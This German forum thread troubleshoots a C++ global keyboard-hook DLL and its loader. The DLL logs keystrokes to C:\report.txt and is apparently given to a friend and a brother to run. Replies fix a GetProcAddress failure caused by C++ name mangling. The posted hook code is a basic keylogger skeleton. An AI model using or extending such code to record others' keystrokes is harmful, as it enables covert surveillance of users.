LoadLibrary
-
also ok nun geht es bei mir
aber wenn ich es meinen freund gebe
kommt : HOOK ERROR (1) obwohl er es genau so started wie ichtypedef BOOL (__stdcall *installhook32)(void); bool InstallHook(void) { ::HINSTANCE hDll = NULL; ::installhook32 installhook = NULL; hDll = ::LoadLibrary(_T("hook.dll")); if (hDll == NULL) { printf("HOOK ERROR (1)"); return false; } installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDll, "installhook")); if (installhook == NULL) { printf("HOOK ERROR (2)"); return false; } return (installhook() == TRUE ? true : false); }die hook.dll ist im gleichen ordner wie die load.exe
bei mir geht es und bei ihn kommt error und hab auch noch bei
bruder getestet da kommt auch HOOK ERROR (1)
-
Lass dir mal den entsprechenden Fehler ausgeben:
printf("HOOK ERROR (1), %x", GetLastError());btw:
Den globalen Scope Operator ( :: ) kannst du weglassen, und solltest ihn nur verwenden, wenn er wirklich notwendig ist.
Und die Rückgabe kannst du auch einfachreturn installhook() != FALSE;schreiben.
-
Also hier ist die DLL:
///////////////////////////////////////////////////////////////[::::::: hook.h :::::::]
#define EXPORT __declspec(dllexport)__stdcall LRESULT EXPORT CALLBACK KeyboardProc(int nCode, WPARAM wParam,LPARAM lParam); BOOL EXPORT installhook();[::::::: Main.cpp :::::::]
//// Includes \\\\\\\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// #include "stdafx.h" #include <windows.h> #include <time.h> #include <conio.h> #include <stdio.h> #include <string> #include <fstream> #include <iostream> #include "hook.h" /////////////////////////////////////// //// Variablen \\\\\\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// using namespace std; FILE *f1; HHOOK hkb; HINSTANCE hins; #pragma data_seg ("Shared") #pragma data_seg () #pragma comment (linker, "/section:Shared,RWS") /////////////////////////////////////// //// Keyboard Hook \\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// LRESULT EXPORT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) { f1=fopen("C:\\report.txt","a+"); if (wParam==VK_RETURN) { fputs("[ENTER]",f1); } else if (wParam==VK_BACK) { fputs("[BACK]",f1); } fclose(f1); } LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam ); return RetVal; } /////////////////////////////////////// //// Install Hook \\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// BOOL EXPORT installhook() { f1=fopen("C:\\report.txt","w"); fclose(f1); hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0); return TRUE; } ///////////////////////////////////////Hier ist der Loader:
///////////////////////////////////////////////////////////////[::::::: Main.cpp :::::::]
//// Includes \\\\\\\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// #include "stdafx.h" #include "windows.h" /////////////////////////////////////// //// Variablen \\\\\\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// typedef BOOL (__stdcall *installhook32)(void); BOOL InstallHook(void); /////////////////////////////////////// //// Main (Start) \\\\\\\\\\\\\\\\\\\\\ /////////////////////////////////////// int _tmain(int argc, _TCHAR* argv[]) { InstallHook(); while(true) { SleepEx(10,true); } return 0; } /////////////////////////////////////// //// Install Hook - Funktion \\\\\\\\\\ /////////////////////////////////////// BOOL InstallHook(void) { ::HINSTANCE hDll = NULL; ::installhook32 installhook = NULL; hDll = ::LoadLibrary(_T("hook.dll")); if (hDll == NULL) { printf("HOOK ERROR (1)\nError = %x", GetLastError()); return false; } installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDll, _T("installhook"))); if (installhook == NULL) { printf("HOOK ERROR (2)\nError = %x", GetLastError()); return false; } return (installhook() == TRUE ? true : false); } ///////////////////////////////////////könnte mir einer weiter helfen ?
btw sagen wo meine fehler sindIch Danke allen die hier Helfen!
mfG,
(Help Me
)
-
bool InstallHook(void) { ::HINSTANCE hDll = NULL; ::installhook32 installhook = NULL; hDll = ::LoadLibrary(_T("hook.dll")); if (hDll == NULL) { printf("HOOK ERROR (1)\nError = %x", GetLastError()); return false; } installhook = reinterpret_cast<installhook32>(::GetProcAddress(hDll, "installhook")); if (installhook == NULL) { printf("HOOK ERROR (2)\nError = %x", GetLastError()); return false; } return (installhook() == TRUE ? true : false); }BOOL ist ein Integer Datentype ... bool nicht ... d.h. bleib bei bool ... hmm an sonnsten hast du nicht das korrigiert was groovemaster meinte ... tjo ... usw
-
Und was für ein Fehler wird nun angezeigt?
-
also wenn ich starte kommt :
HOOK ERROR (2)
ERROR = 7fich glaube das mit der funktion aufrufen ist falsch oder so
wüsste jemand wie man das zum laufen bringt ?mfG,
Help Me
-
Martin Richter schrieb:
Ohne DEF Datei heißt die Funktion _installhook.
Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.
Ich wiederhole mich!
-
Martin Richter schrieb:
Martin Richter schrieb:
Ohne DEF Datei heißt die Funktion _installhook.
Benutze DUMPBIN /EXPORTS oder DEPENDS um den korrekten Namen anzuzeigen.
Ich wiederhole mich!
sry hab ich net gesehen,
leider weiß ich auch nicht wie das geht
könntest du mir da helfen ?mfG,
Help Me
-
_installhook 
-
Help Me schrieb:
also wenn ich starte kommt :
HOOK ERROR (2)
ERROR = 7f//
// MessageId: ERROR_PROC_NOT_FOUND
//
// MessageText:
//
// The specified procedure could not be found.
//
#define ERROR_PROC_NOT_FOUND 127LGetProcAddress kann die Funktion installhook schlichtweg nicht finden. Das liegt daran, dass du momentan C++ Name Mangling verwendest. Solche Funktionen zu benutzen, ist nur mit Load-Time Linking ohne grossen Aufwand möglich. Wenn du Runtime Linking (LoadLibrary) verwendest, müsstest du den kryptischen C++ Namen kennen und diesen bei GetProcAddress angeben. Das ist aber erstens unportabel (afaik), und zweitens nicht wirklich schön. Mein Tipp, benutze in diesem Fall explizit C Name Mangling, wenn du mit einem C++ Compiler unterwegs bist.
extern "C" BOOL EXPORT installhook(void)